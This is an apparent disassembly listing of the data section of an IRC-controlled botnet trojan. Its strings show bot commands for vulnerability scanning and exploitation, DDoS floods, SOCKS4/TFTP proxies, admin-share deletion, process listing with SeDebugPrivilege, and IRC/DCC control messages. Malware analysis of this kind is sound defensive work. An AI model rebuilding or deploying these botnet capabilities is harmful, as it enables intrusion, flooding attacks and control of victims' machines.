aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CD3A+12EDo
align 10h
aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CD3A+12D8o
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CD3A+12C3o
align 4
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CD3A+12AEo
align 4
aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CD3A+1299o
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CD3A+1284o
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CD3A+126Fo
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CD3A+125Ao
align 10h
aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CD3A+1245o
aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CD3A+1230o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CD3A+1225o
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40CD3A+1220o
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CD3A+1207o
align 4
dword_4365C8 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CD3A+11F7o
align 10h
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CD3A+11DEo
align 10h
dword_4365F0 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: sub_40CD3A+11CEo
align 4
aClone_off db 'clone.off',0 ; DATA XREF: sub_40CD3A+11B5o
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CD3A+11A0o
align 10h
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CD3A+118Bo
align 10h
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CD3A+1176o
align 4
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CD3A+1161o
align 10h
dword_436650 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CD3A+1138o
dword_43666C dd 69027002h, 1F671F6Eh, 2E2Ehdword_436678 dd 676E6950h, 6F6C6620h, 646Fhdword_436684 dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_436694 dd 64027502h, 2E1F701Fh, 2Ehdword_4366A0 dd 20504455h, 6F6F6C66h, 64hdword_4366AC dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_4366BC dd 79027302h, 2E1F6E1Fh, 2Ehdword_4366C8 dd 206E7953h, 6F6F6C66h, 64hdword_4366D4 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_4366E4 dd 64026402h, 1F731F6Fh, 2E2Ehdword_4366F0 dd 536F4444h, 6F6C6620h, 646Fhdword_4366FC dd 736F6464h, 66666F2Eh, 0dword_436708 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_436718 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CD3A+106Bo
dword_43673C dd 6F026C02h, 2E1F671Fh, 2Ehdword_436748 dd 20676F4Ch, 7473696Ch, 0dword_436754 dd 2E676F6Ch, 66666Fhdword_43675C dd 74026802h, 641F7074h, 2E2E1Fhdword_436768 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_436778 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CD3A+FF0o
align 4
dword_43679C dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer db 'Server',0 ; DATA XREF: sub_40CD3A+FE0o
; sub_40CD3A+1009o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CD3A+FC7o
align 4
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CD3A+FB2o
align 4
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CD3A+F9Do
align 4
aLd_off db 'ld.off',0 ; DATA XREF: sub_40CD3A+F88o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CD3A+F73o
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40CD3A+F5Eo
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CD3A+F49o
aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CD3A+F34o
aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CD3A+F1Fo
aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CD3A+F0Ao
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CD3A+EF5o
align 10h
aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CD3A+EE0o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CD3A+ECBo
aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CD3A+EB6o
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CD3A+E9Eo
a63 db '63',0 ; DATA XREF: sub_40CD3A+D7Eo
align 4
asc_43686C: ; DATA XREF: sub_40CD3A+D56o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40CD3A+D1Co
align 4
aServer_2 db '$server',0 ; DATA XREF: sub_40CD3A+D11o
aRndnick db '$rndnick',0 ; DATA XREF: sub_40CD3A+D00o
align 4
aChan db '$chan',0 ; DATA XREF: sub_40CD3A+CE4o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40CD3A+CD3o
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40CD3A+CC1o
aD_0 db '$%d',0 ; DATA XREF: sub_40CD3A+C4Do
aD_1 db '$%d-',0 ; DATA XREF: sub_40CD3A+BA0o
align 4
aHi_0 db 'hi',0 ; DATA XREF: sub_40CD3A+AC2o
align 10h
aNewshit db 'newshit',0 ; DATA XREF: sub_40CD3A+AAAo
dword_4368B8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A87o
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
align 10h
dword_436900 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A76o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 8
dword_436948 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A50o
dd 2029206Ch, 2BBBB02h
aFailedToSta_27 db ' Failed to start chat thread, error: <%d>.',0
dword_436990 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+9F7o
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40CD3A+960o
align 10h
dword_4369D0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+943o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436A24 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40CD3A+913o
dd 0A0Dh
dword_436A3C dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CD3A+8A4o
align 10h
dword_436A60 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40CD3A+88Ao
dd 0D017325h, 0Ah
dword_436A7C dd 52455601h, 4E4F4953h, 1dword_436A88 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+74Do
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40CD3A+6AAo
align 10h
dword_436AD0 dd 43434401h, 0 dword_436AD8 dd 323333h ; sub_40CD3A+AE4o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_40CD3A+5EDo
; sub_412BD1+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CD3A+5E1o
; sub_412BD1+16o
dword_436AEC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+590o
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 10h
dword_436B20 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+570o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40CD3A+539o
aPart db 'PART',0 ; DATA XREF: sub_40CD3A+4EBo
; sub_40CD3A+5ADo
align 10h
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CD3A+4C3o
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40CD3A+3AFo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+352o
; sub_40CD3A+5D1o
dword_436B80 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+339o
; sub_40CD3A+5A05o ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40CD3A+2D6o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+27Fo
; sub_40CD3A+4A84o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40CD3A+257o
a302 db '302',0 ; DATA XREF: sub_40CD3A+21Co
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1D6o
; sub_40CD3A+39Co ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1B5o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40CD3A+19Bo
align 4
asc_436BF4 db ' :',0 ; DATA XREF: sub_40CD3A+86o
; sub_40CD3A:loc_40D876o
align 4
dword_436BF8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_436C44 dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_436C60: ; DATA XREF: sub_412A1D+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_436C74 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_412A1D+13Fo
dword_436C88 dd 25207325h, 253A2073h, 0A0D73h, 0off_436C98 dd offset aAdd ; DATA XREF: sub_412C6C+6Dr
; sub_413053+50r ...
; "Add"
off_436C9C dd offset aAdded ; DATA XREF: sub_412C6C+2Dr
; sub_413053+82r ...
; "Added"
dword_436CA0 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 436D0Ch, 436D04h, 2, 436CF8h, 436CECh, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .text:00436CCCo
aStop_0 db 'Stop',0 ; DATA XREF: .text:00436CC8o
align 4
aStarted db 'Started',0 ; DATA XREF: .text:00436CC0o
aStart_0 db 'Start',0 ; DATA XREF: .text:00436CBCo
align 4
aListed db 'Listed',0 ; DATA XREF: .text:00436CB4o
align 4
aList_0 db 'List',0 ; DATA XREF: .text:00436CB0o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .text:00436CA8o
aDelete_0 db 'Delete',0 ; DATA XREF: .text:00436CA4o
align 4
aAdded db 'Added',0 ; DATA XREF: .text:off_436C9Co
align 4
aAdd db 'Add',0 ; DATA XREF: .text:off_436C98o
dword_436D60 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_436D98 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_436DD4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412D95+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412D95:loc_412EADo
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412D95:loc_412EA6o
align 10h
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412D95:loc_412E9Fo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412D95:loc_412E98o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412D95:loc_412E91o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412D95:loc_412E8Ao
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412D95:loc_412E83o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412D95:loc_412E7Co
align 8
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412D95:loc_412E75o
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412D95:loc_412E6Eo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412D95:loc_412E43o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412D95:loc_412E3Co
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412D95:loc_412E35o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412D95:loc_412E2Eo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412D95+8Fo
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412D95:loc_412E03o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412D95:loc_412DF9o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412D95:loc_412DEFo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412D95:loc_412DE5o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412D95:loc_412DDBo
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412D95+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_412F13+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_412F13:loc_412FE2o
aStarting db ' Starting',0 ; DATA XREF: sub_412F13:loc_412FDBo
aStoping db ' Stoping',0 ; DATA XREF: sub_412F13:loc_412FD4o
aRunning_0 db ' Running',0 ; DATA XREF: sub_412F13:loc_412FCDo
aContinuing db ' Continuing',0 ; DATA XREF: sub_412F13:loc_412FC6o
aPausing db ' Pausing',0 ; DATA XREF: sub_412F13:loc_412FBFo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_412F13:loc_412FB8o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_412F13+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_412F13+25o
align 4
dword_43734C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_437384 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_4373B4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_413248+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_413248+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_413248+B5o
dword_437414 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413248+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_413248+26o
align 4
dword_437488 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 8
dword_4374C8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_437508 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_43753C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134AF+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4134AF+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4134AF+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4134AF+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4134AF+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4134AF+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4134AF+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4134AF+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4134AF+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4134AF+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4134AF+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4134AF+1CBo
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4134AF+1A0o
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4134AF+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4134AF+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4134AF+125o
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4134AF+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4134AF+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4134AF+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4134AF+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41387D+145o
align 4
dword_4376EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41387D:loc_41396Ao
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_5 db ' %S',0 ; DATA XREF: sub_41387D+BAo
align 4
dword_437734 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41387D+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41387D+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4139F3:loc_413B10o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4139F3:loc_413B09o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4139F3:loc_413B02o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413AFBo
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4139F3:loc_413AF4o
align 8
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4139F3:loc_413AD7o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4139F3:loc_413AD0o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4139F3:loc_413AC9o
align 8
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4139F3+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4139F3:loc_413A9Eo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A97o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4139F3:loc_413A90o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4139F3:loc_413A86o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4139F3+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A60o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4139F3:loc_413A56o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4139F3:loc_413A4Co
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4139F3:loc_413A42o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4139F3:loc_413A38o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4139F3+3Bo
align 4
dword_437A58 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413B27+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_437A94 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413B27+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 10h
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413C50+119o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413C50+4Eo
; sub_413C50+99o
align 10h
dword_437AF0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD:loc_413E8Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_437B28 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD+86o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_437B64 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aListingProcess db ' Listing processes:',0
align 10h
dword_437BA0 dd 736E6F63h dd 74h, 0
dword_437BAC dd 1 off_437BB0 dd offset sub_413F42 ; DATA XREF: sub_414278+4Ar
aLetter db 'letter',0
align 10h
dd 2, 413FA0h, 706D6F63h, 2 dup(0)
dd 3, 413FEDh, 6E756F63h, 797274h, 0
dd 4, 41405Ch, 736Fh, 2 dup(0)
dd 5, 4140D1h
dword_437C04 dd 69257325h, 0 ; .text:0041403Do ...
dword_437C0C dd 4350h dword_437C10 dd 7C7325h dword_437C14 dd 5D73255Bh, 7Chdword_437C1C dd 334B32h dword_437C20 dd 5D64255Bh, 7325hdword_437C28 dd 5D4D5Bh ; sub_4141DB+51o
unk_437C2C db 2 ; DATA XREF: sub_4142E2+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_437C68 db 2 ; DATA XREF: sub_4143AF+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 4
off_437CA8 dd offset dword_437CE0 ; DATA XREF: sub_414500:loc_4146B5r
; sub_414500+1C3r ...
dword_437CAC dd 0 dd offset dword_437CD8
align 8
dd offset dword_437CD4
dd offset dword_437CD0
dd offset dword_437CCC
dd offset dword_437CC8
dword_437CC8 dd 5C3A44h dword_437CCC dd 2444h dword_437CD0 dd 5C3A43h dword_437CD4 dd 2443h dword_437CD8 dd 494D4441h, 244Ehdword_437CE0 dd 24435049h, 0 unk_437CE8 db 2 ; DATA XREF: sub_414500+2E7o
; sub_414826+2DDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_437D2C db 2 ; DATA XREF: sub_414500+2D1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 4
unk_437D68 db 2 ; DATA XREF: sub_414500:loc_41476Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 4
unk_437DA8 db 2 ; DATA XREF: sub_414500+263o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 10h
unk_437DE0 db 2 ; DATA XREF: sub_414500:loc_4146DAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 10h
unk_437E20 db 2 ; DATA XREF: sub_414500+1D3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_437E58 db 2 ; DATA XREF: sub_414500:loc_414632o
; sub_414826:loc_414954o
